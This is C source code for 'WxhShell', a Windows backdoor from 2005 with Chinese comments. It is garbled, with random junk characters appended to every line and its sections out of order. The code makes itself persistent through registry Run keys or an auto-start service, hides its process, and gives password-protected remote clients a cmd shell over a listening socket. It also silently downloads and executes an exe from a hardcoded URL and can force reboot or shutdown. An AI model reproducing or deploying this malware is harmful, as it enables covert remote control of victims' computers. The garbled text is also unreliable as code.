    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sN41Bz$q.  
    if(Boot(SHUTDOWN)) y4-kuMYR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;k'J:-"  
    else { Q'OtXs 80  
    closesocket(wsh); EBy7wU`S  
    ExitThread(0); /U;j-m&   
    } ]az(w&vqg2  
    break; { 4J.  
    } U1 _"D+XB  
  // 获取shell VbX P7bZ  
  case 's': { .a4,Lr#q.  
    CmdShell(wsh); o[Ffa# sE  
    closesocket(wsh); |A&;m}(Mt  
    ExitThread(0); 8$IKQNS  
    break; $d<NN2  
  } h/EIFve  
  // 退出 yqN`R\d  
  case 'x': { gUklP(T=u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K(;qd Ir  
    CloseIt(wsh); pGs?Y81  
    break; [)"\Aq  
    } 4*XNk;Dx  
  // 离开 E'x"EN  
  case 'q': { M9iX_4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #,#`< h!  
    closesocket(wsh); SBxpJsW >  
    WSACleanup(); D{(}&8a9  
    exit(1); E;Z(v  
    break; +|/0sPW(  
        } M%E<]H2;S  
  } M<-Q8 a~  
  } ;,77|]<XE  
Oiib2Ov  
  // 提示信息 #b^6>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~1O|4mssS  
} \F|)w|v  
  } '+9<[]  
DzVCEhf  
  return; orjtwF>^  
} p9"dm{  
UT;%I_i!'  
// shell模块句柄 o `YBz~2  
int CmdShell(SOCKET sock) '{ <RX  
{ x?S86,RW  
STARTUPINFO si; 5*44QV  
ZeroMemory(&si,sizeof(si)); |[`YGA4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !)bZ.1o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ZiPeP  
PROCESS_INFORMATION ProcessInfo; x?L0R{?WW  
char cmdline[]="cmd"; 0YiTv;mq;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \Oq2{S x\  
  return 0; ;EBKzB  
} {o~TbnC  
B $u/n  
// 自身启动模式 ad}8~6}_&  
int StartFromService(void) 71{Q#%5U~  
{ ~Dt$}l-9  
typedef struct 'g%:/lwA  
{ SH)-(+72d  
  DWORD ExitStatus; wUaWF$~y  
  DWORD PebBaseAddress; #Th)^Is  
  DWORD AffinityMask; .i*oZ'[X  
  DWORD BasePriority; y8YsS4E^Q  
  ULONG UniqueProcessId; "^&H9.z,v  
  ULONG InheritedFromUniqueProcessId; _d 6'f8[&  
}   PROCESS_BASIC_INFORMATION; (\ab%M   
}+@!c%TCx~  
PROCNTQSIP NtQueryInformationProcess; l8G1N[  
?^U?ua6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jl_W6gY"Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0/v]YK.  
Z5t^D|  
  HANDLE             hProcess; _y4O2n[e  
  PROCESS_BASIC_INFORMATION pbi; F0!Z1S0g  
ei-\t qY_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !q&Td  
  if(NULL == hInst ) return 0; ,:mL\ZED  
`,}7LfY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -))S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b-ss^UL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  qNJc*@s  
 SCfp5W7~  
  if (!NtQueryInformationProcess) return 0; 'vNju1sfk  
tK;xW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SZH`-xb!+5  
  if(!hProcess) return 0; /Bt!xSI  
 26p[x'W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !7DDPJ~  
CHGa_  
  CloseHandle(hProcess);  .2&L.  
p3vf7eqn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W5Jw^,iPd  
if(hProcess==NULL) return 0; *v%y;^{k[/  
 x+cL(R  
HMODULE hMod; uH*6@aYPo  
char procName[255]; _0+X32HjJ  
unsigned long cbNeeded; GST#b6S  
*Z#OfB4}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m""+ $  
uXc;!*  
  CloseHandle(hProcess); *47/BLys<  
GQYR`;>  
if(strstr(procName,"services")) return 1; // 以服务启动 h^g0|p5  
j&X&&=   
  return 0; // 注册表启动 N# }A9t  
} eA7 Iv{M  
!dT+cZsf  
// 主模块 5, $6mU#=  
int StartWxhshell(LPSTR lpCmdLine) OMK,L:poC  
{ JlYZ\  
  SOCKET wsl; Q0(6n8i  
BOOL val=TRUE; Ry >y  
  int port=0; Po58@g  
  struct sockaddr_in door; yx Om=V  
6FzB-],  
  if(wscfg.ws_autoins) Install(); nG<oae6z"  
~Ykn|$_"I  
port=atoi(lpCmdLine); m%6VwV7U  
?Kgb-bXB  
if(port<=0) port=wscfg.ws_port; ,<IomA:q4  
Nf([JP% 4  
  WSADATA data; <<!fA ><W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'S3<' X  
0g[ %)C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YVc cO~!8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !~|-CF0z=  
  door.sin_family = AF_INET; TR3U<:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a U\|ZCH\]  
  door.sin_port = htons(port); R `ViRJh  
#csP.z3^y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dnd; N/9  
closesocket(wsl); Tc(=J7*r&  
return 1; Dizz ?O  
} nh4G;qdU  
&:l-;7d  
  if(listen(wsl,2) == INVALID_SOCKET) { `rVru= zoy  
closesocket(wsl); d/R!x{$-f  
return 1; E[t0b5h  
} s $Vv  
  Wxhshell(wsl); }. &ellNQ  
  WSACleanup(); y7hDMQ c'  
>$'z4TC\T  
return 0; d%|l)JF*5  
>[Vc$[62  
} ;p+'?%Y}  
To(I<W|{  
// 以NT服务方式启动 :\|A.# U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8</wQ6&|  
{ =dPokLXn  
DWORD   status = 0; Kkp dcc  
  DWORD   specificError = 0xfffffff; k7iko{5D  
|^l_F1+w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {V/>5pz4e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bh&pZcm|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }O*`I(  
  serviceStatus.dwWin32ExitCode     = 0; o=R(DK# U  
  serviceStatus.dwServiceSpecificExitCode = 0; KFbB}oId  
  serviceStatus.dwCheckPoint       = 0; b;b,t0wS  
  serviceStatus.dwWaitHint       = 0; >g<Y H'U{  
*:yG)J 3F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k^Qf |  
  if (hServiceStatusHandle==0) return; N#l2wT  
os{ iY  
status = GetLastError(); ol"|?*3q  
  if (status!=NO_ERROR) kY$EK]s  
{ ~Fuq{e9`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XY| y1L 3[  
    serviceStatus.dwCheckPoint       = 0; 44} 5o  
    serviceStatus.dwWaitHint       = 0; f7a4E+}  
    serviceStatus.dwWin32ExitCode     = status; &1Ndi<Y^  
    serviceStatus.dwServiceSpecificExitCode = specificError; _94 W@dW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ??"_o3  
    return; YHEn{z7  
  } Ef#LRcG-Z  
d[_26.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pbAL&}  
  serviceStatus.dwCheckPoint       = 0; j4owo#OB-  
  serviceStatus.dwWaitHint       = 0; ,*iA38d.!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bq E'9GI  
} }>h n  
]$"eGHX  
// 处理NT服务事件,比如:启动、停止 6|NH*#s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @N4~|`?U  
{ .v+JV6!u  
switch(fdwControl) 2#7|zhgb  
{ Zkd{EMW  
case SERVICE_CONTROL_STOP: \o!3TK"N  
  serviceStatus.dwWin32ExitCode = 0; #`u}#(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gko=5|c,@  
  serviceStatus.dwCheckPoint   = 0; $!_ X9)e  
  serviceStatus.dwWaitHint     = 0; 6&x\!+]F8  
  { '<o3x$6 *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1@v <  
  } $Er=i }`  
  return; Qx4)'n  
case SERVICE_CONTROL_PAUSE: :gV~L3YW5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [8 Pt$5]^  
  break; :dt[ #  
case SERVICE_CONTROL_CONTINUE: _<c"/B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ARu_S B  
  break; s-IE}I?;  
case SERVICE_CONTROL_INTERROGATE: ts~VO`  
  break; =R=V  
};  _BP%@o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^f,4=-  
} !Axe}RD'  
!}!KT(% %  
// 标准应用程序主函数 ~3:VM_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D 5rH6*J  
{ i%9vZ  
m~&  
// 获取操作系统版本 <'4Wne.z!  
OsIsNt=GetOsVer(); FFqK tj's  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kD#n/R Bgf  
W+i^tmj  
  // 从命令行安装 c6[m'cy  
  if(strpbrk(lpCmdLine,"iI")) Install(); st) is4  
0ZjT.Ep  
  // 下载执行文件 iL;V5|(sb  
if(wscfg.ws_downexe) { ]W?cy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z}Cjk6z@  
  WinExec(wscfg.ws_filenam,SW_HIDE); %<>:$4U@]  
} $L^%*DkM  
5$ =[x!x  
if(!OsIsNt) { tKt}]KHV  
// 如果时win9x,隐藏进程并且设置为注册表启动 5b:1+5iF-  
HideProc(); ?V2P]|  
StartWxhshell(lpCmdLine); L"'=[O~  
} -4x! #|]  
else &`qYe)1Eo  
  if(StartFromService()) TAUl{??,  
  // 以服务方式启动 4+hNP'e  
  StartServiceCtrlDispatcher(DispatchTable); g!~SHW)l  
else t5E$u(&+'B  
  // 普通方式启动 vt5w(}v(  
  StartWxhshell(lpCmdLine); wG)e8,#  
a Y)vi$;]  
return 0; %d+Fq=<  
} ^dpM2$J  
w<B S  
'aEK{#en  
TIJH} Ri  
=========================================== 1e[?}q]*  
x~5,v5R^]  
qA '^b~  
V<9L-7X 8  
Hpix:To  
+1wEoU.l2  
" 0cG[<\qT  
+~V_^-JG&  
#include <stdio.h> (LK@w9)i;  
#include <string.h> !U?C _  
#include <windows.h> Y)k"KRW+  
#include <winsock2.h> Ze%S<xT!O  
#include <winsvc.h> FC+-|1?C  
#include <urlmon.h> >c0leT  
d9JAt-6z2  
#pragma comment (lib, "Ws2_32.lib") 1#N`elm  
#pragma comment (lib, "urlmon.lib") Lz1KDXr`)+  
"=Z=SJ1D  
#define MAX_USER   100 // 最大客户端连接数 h~Ir= JV  
#define BUF_SOCK   200 // sock buffer |$/#,Dv7  
#define KEY_BUFF   255 // 输入 buffer g R!hN.I  
F2zo !a8  
#define REBOOT     0   // 重启 oqvu8"  
#define SHUTDOWN   1   // 关机 K-]) RIM  
M;XU"8  
#define DEF_PORT   5000 // 监听端口 M%:\ry4:  
yreH/$Ou 8  
#define REG_LEN     16   // 注册表键长度 0 @#Jz#?  
#define SVC_LEN     80   // NT服务名长度 oPs asa  
OD}Uc+;K  
// 从dll定义API f=91 Z_M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,$!fyi[;C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D% *ww'mt0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gA=Pz[i)p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lf9s'o}.R  
I0l3"5X a  
// wxhshell配置信息 ;L:UYhDbUx  
struct WSCFG { oTvg%bX  
  int ws_port;         // 监听端口 z@UH[>^gj  
  char ws_passstr[REG_LEN]; // 口令 @wD#+Oz  
  int ws_autoins;       // 安装标记, 1=yes 0=no O)^F z:  
  char ws_regname[REG_LEN]; // 注册表键名 kR1 12J9P  
  char ws_svcname[REG_LEN]; // 服务名 gIweL{Pc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $~q{MX&J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /QS Nv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yUcU-pQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4%}iKoT   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G-D}J2r=F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ox ,Rk  
[.l,#-vp  
}; Y|mtQ E?c  
A]iT uu5p  
// default Wxhshell configuration kK6t|Yn&  
struct WSCFG wscfg={DEF_PORT, elM<S3  
    "xuhuanlingzhe", UHV"<9tk  
    1, dgQ<>+9]6  
    "Wxhshell", @RB^m(> 5  
    "Wxhshell", !gyW15z'  
            "WxhShell Service", '~yxu$aK  
    "Wrsky Windows CmdShell Service", M`7lYw\Or!  
    "Please Input Your Password: ", @sa_/LH!K  
  1, QX?moW6UW  
  "http://www.wrsky.com/wxhshell.exe", S9*68l  
  "Wxhshell.exe" KD\%B5Jy  
    }; D|Tz{DRG  
DQObHB8L  
// 消息定义模块 = <A0;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Q^.7.-T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hH$9GL{H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >8>s K(S]  
char *msg_ws_ext="\n\rExit."; Z!q$d/1  
char *msg_ws_end="\n\rQuit."; Jl\U~i  
char *msg_ws_boot="\n\rReboot..."; \1?'JdN  
char *msg_ws_poff="\n\rShutdown..."; `+."X1  
char *msg_ws_down="\n\rSave to "; Q-iBK*-w  
@(6P L^I  
char *msg_ws_err="\n\rErr!"; iqoMQ7%  
char *msg_ws_ok="\n\rOK!"; tw 3zw`o:  
owa&HW/_  
char ExeFile[MAX_PATH]; uu-M7>+  
int nUser = 0; 0WZd$  
HANDLE handles[MAX_USER];  ^[I> #U  
int OsIsNt; yz>S($u  
1.,KN:qe  
SERVICE_STATUS       serviceStatus; \0i0#Dt9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;fQIaE&H  
"\lO Op^-  
// 函数声明 *k&V;?x|wt  
int Install(void); 6[FXgCb  
int Uninstall(void); Lf.Ia *R:  
int DownloadFile(char *sURL, SOCKET wsh); {qSMJja!t  
int Boot(int flag); s{c|J#s  
void HideProc(void); $? Z}hU  
int GetOsVer(void); .LM|@OeaD!  
int Wxhshell(SOCKET wsl); _`*G71PS  
void TalkWithClient(void *cs); //3fgoly  
int CmdShell(SOCKET sock); > B;YYj~f}  
int StartFromService(void); lwG)&qyVd  
int StartWxhshell(LPSTR lpCmdLine); rw 2i_,.*~  
B}zBbB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2.{zf r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vytO8m%U  
7#&Q-3\:  
// 数据结构和表定义 y9T 5  
SERVICE_TABLE_ENTRY DispatchTable[] = f6( 1jx"  
{ 7^!iGhI]r  
{wscfg.ws_svcname, NTServiceMain}, xqDz*V/mD  
{NULL, NULL} CG35\b;Q  
}; =Y^K   
U0W2  
// 自我安装 S6JWsi4C:,  
int Install(void) ]:n9MFv  
{ );S8`V  
  char svExeFile[MAX_PATH]; 00-2u~D&  
  HKEY key; Om;` "5  
  strcpy(svExeFile,ExeFile); W}k/>V_  
hVz]' ,  
// 如果是win9x系统,修改注册表设为自启动 qm9=Ga5  
if(!OsIsNt) { D#,A_GA{A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $E8}||d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +~==qLsU  
  RegCloseKey(key); :"nh76xg<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Ew;AYZX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l"h6e$dP  
  RegCloseKey(key); /,< s9 :  
  return 0; p? w^|V  
    } ))X"bFP!3  
  } -U7,~z  
} |rgPHRX^Hn  
else { ".pQM.T  
1(i%nX<U  
// 如果是NT以上系统,安装为系统服务 _K!)0p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1'\s7P  
if (schSCManager!=0) Ss+  
{ t,A=B(W  
  SC_HANDLE schService = CreateService g^#,!e  
  ( J_<6;#  
  schSCManager, xMpgXB!'  
  wscfg.ws_svcname, 4qd( a)NdY  
  wscfg.ws_svcdisp, l%u8Lq  
  SERVICE_ALL_ACCESS, 2J)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 150x$~{/  
  SERVICE_AUTO_START, 8wkt9:  
  SERVICE_ERROR_NORMAL, yr.sfPnJK  
  svExeFile, y34<B)Wy  
  NULL, J{5p4bkb  
  NULL, }dU!PZ9N)  
  NULL, SY}"4=M?l  
  NULL, yYTOp^  
  NULL +sq_fd ;'D  
  ); =<TJ[,h et  
  if (schService!=0) k O.iJcZg  
  { Qip@L WvT  
  CloseServiceHandle(schService); #g2&x sU  
  CloseServiceHandle(schSCManager); XrXW6s ;Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |v#rSVx  
  strcat(svExeFile,wscfg.ws_svcname); ~?iQnQYI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SoFl]^l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [CAFh:o  
  RegCloseKey(key); xNRMI!yv   
  return 0; `O%O[  
    } Z;;A#h'%e  
  } 4)XB3$<  
  CloseServiceHandle(schSCManager); T}"[f/:N/  
} w xa MdA  
} 4~;M\h  
d\c)cgh%  
return 1; q}z`Z/`/  
} Zv8GrkK  
,nV4%Aa  
// 自我卸载 G2sj<F=AV  
int Uninstall(void) * ]D{[hV  
{ YB:}L b  
  HKEY key; Jt}#,I,B  
~g@}A  
if(!OsIsNt) { M[u6+`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R$Qhu xT|  
  RegDeleteValue(key,wscfg.ws_regname); g`2O h5dA  
  RegCloseKey(key); XBcbLF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B)P]C5KRD  
  RegDeleteValue(key,wscfg.ws_regname); v5{2hCdt  
  RegCloseKey(key); Ef@Et(f_mQ  
  return 0; Uaj_,qb(  
  } .F$cR^i5u  
} bFH`wL W  
} (Y^tky$9  
else { Y%}N@ ,lT  
bV"t;R9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pj!f^MN  
if (schSCManager!=0) P%!=Rj^2m  
{ Cm"S=gV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /cvMp#<]  
  if (schService!=0) V:+z3)qF  
  { 80o'=E}"  
  if(DeleteService(schService)!=0) { VZ 7(6?W  
  CloseServiceHandle(schService); )$d~HA@B  
  CloseServiceHandle(schSCManager); );n/G  
  return 0; *!dA/sid  
  } zXbA$c  
  CloseServiceHandle(schService); Tv 5J  
  } $ 1m}lXk  
  CloseServiceHandle(schSCManager); T)ISDK4>S"  
} M[Nv>  
} 4_$.gO  
K7nyQGS  
return 1; > +00[T  
} _]eyt_  
qmvQd8|XR  
// 从指定url下载文件 N\rL ~4/  
int DownloadFile(char *sURL, SOCKET wsh) mGkQx -|  
{ MhB> bnWXR  
  HRESULT hr; (S?DKPnR  
char seps[]= "/"; uotW[L9  
char *token; }-u%6KZ   
char *file; cF?0=un  
char myURL[MAX_PATH]; )V_;]9<wt  
char myFILE[MAX_PATH]; B$ho g_=s  
<num!@2D  
strcpy(myURL,sURL); nI1(2a1  
  token=strtok(myURL,seps); [%~yY&  
  while(token!=NULL) 2. {/ls  
  { TgHUH>k  
    file=token; ]M'~uTf  
  token=strtok(NULL,seps); 6}|h  
  } ~-R2mAUK  
K{B|  
GetCurrentDirectory(MAX_PATH,myFILE); e,W,NnCICj  
strcat(myFILE, "\\"); "7j E&I  
strcat(myFILE, file);  Wu8^Z Z{  
  send(wsh,myFILE,strlen(myFILE),0); ]e+&Pxw]e  
send(wsh,"...",3,0); XGjFb4Tw7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {OOn7=  
  if(hr==S_OK) $ \o)-3  
return 0; tvq((2  
else #l7v|)9v  
return 1; B<a` o&?  
eg1F[~YL/  
} ,(f W0d#  
-8<vWe  
// 系统电源模块 HIC!:|  
int Boot(int flag) DQaE9gmC  
{ }Gy M<!:  
  HANDLE hToken; 1uB$@a\  
  TOKEN_PRIVILEGES tkp; & d$X:  
vbZ!NO!H  
  if(OsIsNt) { *v?kp>O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0'YJczDq:7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mm.%Dcn  
    tkp.PrivilegeCount = 1; 7?y 7fwER  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HPJHA ,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LIQ].VxIs  
if(flag==REBOOT) { s{j A!T}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;-;lM6zP  
  return 0; gU NWM^n  
} P|]r*1^5  
else { U4yl{?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pVrY';[,|  
  return 0; Uqy/~n-v<  
} e0otr_)3F  
  } %~P T7"4  
  else { i" )_Xb_1  
if(flag==REBOOT) { nj0]c`6rN@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) siT`O z|,  
  return 0; G#^0Bh&  
} kRBO]  
else { =;b3i1'U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qd#7A ksm  
  return 0; ,VSO;:Z  
} c"pOi&  
} Mw)6,O`  
cUdS{K&K  
return 1; J_m@YkK  
} $ ]#WC\Hv  
As`=K$^Il.  
// win9x进程隐藏模块 CH;U_b  
void HideProc(void) ^w2 HF  
{ n;Q8Gg2U  
cCNRv$IO\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;gD\JA  
  if ( hKernel != NULL ) P=\{  
  { P".IW.^kk~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4v3gpLH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;ko6igx)+  
    FreeLibrary(hKernel); )5gj0#|CG@  
  } 7')W+`o8eL  
,]W|"NUI  
return; G -+!h4p  
} slUi)@b  
-B&(& R  
// 获取操作系统版本 gZ7R^] k  
int GetOsVer(void) UxzF5V5  
{ 2Q5@2jT  
  OSVERSIONINFO winfo; Hbd>sS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w`V6vYd@  
  GetVersionEx(&winfo); .R'M'a#*!A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kc't  
  return 1; Y?3tf0t/  
  else N'R^gL  
  return 0; +*?l">?|F  
} :zPK  
n-yUt72  
// 客户端句柄模块 tp>YsQy]8  
int Wxhshell(SOCKET wsl) 19#>\9*  
{ >eQ.y- 4  
  SOCKET wsh; |?8nO.C~V  
  struct sockaddr_in client; DL1nD5  
  DWORD myID; !4'Fz[RK  
v^8sL` F  
  while(nUser<MAX_USER) UeLO`Ug0;  
{ QuPz'Ut#  
  int nSize=sizeof(client); /lu|FWbEw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %Uz\P|6PO  
  if(wsh==INVALID_SOCKET) return 1; b/]4#?g  
jy?*`q1]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'wG1un;t  
if(handles[nUser]==0) FiUwy/,ZV  
  closesocket(wsh); !*NDsC9  
else /UK]lP^w]!  
  nUser++; C&MqH.K  
  } dS4zOz"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )H{1 Xjh-  
tHZ"o!(S  
  return 0; Zr2!}jD9a  
} (I#6!Yt9J  
k_7b0 dr%F  
// 关闭 socket 40h$- VYT/  
void CloseIt(SOCKET wsh) 80[# 6`  
{ vk4 8&8  
closesocket(wsh); Kw" y#Ys]  
nUser--; #X?[")R  
ExitThread(0); jYRSV7d  
} nW7: ]  
bS r"k  
// 客户端请求句柄 j9h fW'  
void TalkWithClient(void *cs) =2Yt[8';  
{ YZ4`b-  
KGg S"d  
  SOCKET wsh=(SOCKET)cs; ]0ErT9  
  char pwd[SVC_LEN]; @:GqOTN  
  char cmd[KEY_BUFF]; x]x3iFD  
char chr[1]; L'? aoRj  
int i,j; M-Efe_VRQc  
L%is"NZh  
  while (nUser < MAX_USER) { d$3md<lIB  
>{tn2Fkg>  
if(wscfg.ws_passstr) { 6{=U= *  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Af]zv~uM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }3X/"2SW^  
  //ZeroMemory(pwd,KEY_BUFF); 8T T#b?d  
      i=0; Cd 2<r6i  
  while(i<SVC_LEN) { ;Jg$C~3tf  
\2 N;V E  
  // 设置超时 %bN{FKNN  
  fd_set FdRead; LkS tU)  
  struct timeval TimeOut; eTvjo(Lvx  
  FD_ZERO(&FdRead); ZZI} Ot{  
  FD_SET(wsh,&FdRead); +u0of^}=  
  TimeOut.tv_sec=8; r+E!V'{C  
  TimeOut.tv_usec=0; |xFA}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~rdS#f&R2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZF[W<Q  
1LRP R@b^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [,AFtg[  
  pwd=chr[0];  &kmaKc  
  if(chr[0]==0xd || chr[0]==0xa) {  t8EI"|  
  pwd=0; DX>LB$dy?  
  break; S W%>8  
  } {\`tt c>  
  i++; D!,5j_,j%  
    } K}re{y  
|kPgXq6  
  // 如果是非法用户,关闭 socket |7c],SHm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -EP1Rl`\  
} M*gvYo  
ue@/o,C>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9S@x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #&Tm%CvB  
|nx3x  
while(1) { xz!0BG  
w)+1^eW  
  ZeroMemory(cmd,KEY_BUFF); xB Wl|j  
e72Fz#<q  
      // 自动支持客户端 telnet标准   63=&??4  
  j=0; p;}`PW  
  while(j<KEY_BUFF) { $`3yImv+w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z%3CmKdeF  
  cmd[j]=chr[0]; Rh^@1{yr  
  if(chr[0]==0xa || chr[0]==0xd) { 5S!#^>_  
  cmd[j]=0; 7wh4~  
  break; <|_>r`@%l  
  } +a.2\Qt2A  
  j++; 2 {b/*w  
    } K-TsSW$}  
-@(LN%7!C  
  // 下载文件 %"mI["{  
  if(strstr(cmd,"http://")) { q*&H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c8X;4 My  
  if(DownloadFile(cmd,wsh)) >2{Y5__+e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q@bye4Ry%W  
  else giNXX jl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J\*uW|=F  
  } lu"0\}7X  
  else { OXrm!'  
iRsB|7v[,  
